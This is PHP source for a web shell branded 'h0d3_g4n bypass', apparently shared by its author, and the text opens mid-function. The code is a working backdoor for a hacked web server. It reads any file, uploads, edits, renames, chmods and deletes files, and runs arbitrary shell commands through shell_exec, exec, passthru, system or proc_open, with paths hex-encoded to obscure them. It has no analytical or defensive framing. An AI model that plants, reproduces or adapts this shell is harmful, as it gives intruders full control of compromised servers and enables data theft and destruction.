= strlen($h)) break; $s .= chr(hexdec($h[$i] . $h[$i + 1])); } return $s; } function formatSize($s) { $u = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; $s = intval($s); while ($s >= 1024 && $i < 4) { $s /= 1024; $i++; } return round($s, 2) . ' ' . $u[$i]; } function getFileDetails($p) { $f = array(); $d = array(); $i = @scandir($p); if (!is_array($i)) return array(); foreach ($i as $it) { if ($it == '.' || $it == '..') continue; $fp = $p . '/' . $it; $det = array( 'name' => $it, 'type' => is_dir($fp) ? 'Folder' : 'File', 'size' => is_dir($fp) ? '' : formatSize(@filesize($fp)), 'permission' => substr(sprintf('%o', @fileperms($fp)), -4) ); is_dir($fp) ? $d[] = $det : $f[] = $det; } return array_merge($d, $f); } function changeDirectory($p) { $p = hexToStr($p); if ($p === '..') { @chdir('..'); } else { @chdir($p); } } function getCurrentDirectory() { $r = @realpath(getcwd()); return $r ? $r : '/'; } function getLink($p, $n) { $isDir = is_dir($p); $encodedPath = urlencode(strToHex($p)); $safeName = safeEcho($n); if ($isDir) { return '' . $safeName . ''; } return '' . $safeName . ''; } function showBreadcrumb($p) { $p = str_replace('\\', '/', $p); $paths = explode('/', $p); echo ''; } $curDir = getCurrentDirectory(); $msg = ''; $cmdOutput = ''; // Handle get_filename if (isset($_GET['get_filename'])) { header('Content-Type: text/plain; charset=utf-8'); echo basename(hexToStr($_GET['get_filename'])); exit; } // Handle ambil-lc-cok (file content) if (isset($_GET['ambil-lc-cok'])) { $f = hexToStr($_GET['ambil-lc-cok']); if (file_exists($f) && is_readable($f)) { header('Content-Type: text/plain; charset=utf-8'); echo file_get_contents($f); } else { echo 'Error: File not found or not readable'; } exit; } // Handle directory change if (isset($_GET['dir'])) { changeDirectory($_GET['dir']); $curDir = getCurrentDirectory(); } // Create folder if (isset($_POST['new_folder']) && !empty($_POST['folder_name'])) { $newPath = $curDir . '/' . $_POST['folder_name']; if (!file_exists($newPath)) { if (mkdir($newPath, 0755, true)) { $msg = 'Folder created successfully.'; } else { $msg = 'Failed to create folder (permission issue).'; } } else { $msg = 'Folder already exists.'; } } // Create file if (isset($_POST['new_file']) && !empty($_POST['file_name'])) { $newPath = $curDir . '/' . $_POST['file_name']; $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; if (file_put_contents($newPath, $content)) { $msg = 'File created successfully.'; } else { $msg = 'Failed to create file (permission issue).'; } } // Upload file if (isset($_POST['upload_file']) && isset($_FILES['uploaded_file'])) { $uploadPath = $curDir . '/' . $_FILES['uploaded_file']['name']; if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadPath)) { $msg = 'File uploaded successfully.'; } else { $msg = 'Failed to upload file (permission or size limit).'; } } // Edit file if (isset($_POST['edit_file'])) { $file = hexToStr($_POST['edit_file']); if (file_exists($file) && is_writable($file)) { $c = isset($_POST['content']) ? $_POST['content'] : ''; // Handle Base64 mode if (isset($_POST['mode']) && $_POST['mode'] === 'Y') { $decoded = @base64_decode($c, true); if ($decoded !== false) { $c = $decoded; } } if (file_put_contents($file, $c)) { $msg = 'File berhasil diedit.'; } else { $msg = 'Gagal mengedit file (permission issue).'; } } else { $msg = 'File not found or not writable.'; } } // Rename if (isset($_POST['rename_path']) && !empty($_POST['new_name'])) { $old = hexToStr($_POST['rename_path']); if (file_exists($old)) { $newPath = dirname($old) . '/' . $_POST['new_name']; if (rename($old, $newPath)) { $msg = 'Renamed successfully.'; } else { $msg = 'Failed to rename (permission issue).'; } } else { $msg = 'File not found.'; } } // Chmod if (isset($_POST['chmod_path']) && !empty($_POST['chmod_value'])) { $file = hexToStr($_POST['chmod_path']); $mode = intval($_POST['chmod_value'], 8); if (file_exists($file)) { if (chmod($file, $mode)) { $msg = 'Permission changed.'; } else { $msg = 'Failed to change permission.'; } } else { $msg = 'File not found.'; } } // Delete if (isset($_POST['delete_path'])) { $f = hexToStr($_POST['delete_path']); if (is_file($f)) { if (unlink($f)) { $msg = 'Deleted successfully.'; } else { $msg = 'Failed to delete file.'; } } elseif (is_dir($f)) { $fs = @glob($f . '/*'); if ($fs !== false) { foreach ($fs as $fi) { if (is_dir($fi)) { @rmdir($fi); } else { @unlink($fi); } } } if (rmdir($f)) { $msg = 'Deleted successfully.'; } else { $msg = 'Failed to delete folder.'; } } else { $msg = 'Path not found.'; } } // Command execution with better error handling if (isset($_POST['cmd']) && !empty($_POST['cmd'])) { $c = $_POST['cmd']; try { if (function_exists('shell_exec')) { $cmdOutput = @shell_exec($c . ' 2>&1'); } elseif (function_exists('exec')) { $o = array(); @exec($c . ' 2>&1', $o); $cmdOutput = implode("\n", $o); } elseif (function_exists('passthru')) { ob_start(); @passthru($c . ' 2>&1'); $cmdOutput = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($c . ' 2>&1'); $cmdOutput = ob_get_clean(); } elseif (function_exists('proc_open')) { $d = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $p = @proc_open($c, $d, $pipes); if (is_resource($p)) { $cmdOutput = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); } } else { $cmdOutput = 'Command execution disabled by server configuration.'; } } catch (Exception $e) { $cmdOutput = 'Error: ' . $e->getMessage(); } } ?>

h0d3_g4n bypass (Fixed Version)

NameTypeSizePermissionActions
Directory is empty or cannot be read
Edit | Rename | Chmod | Delete
© 2025 Coded By h0d3_g4n | Telegram: @h0d3_g4n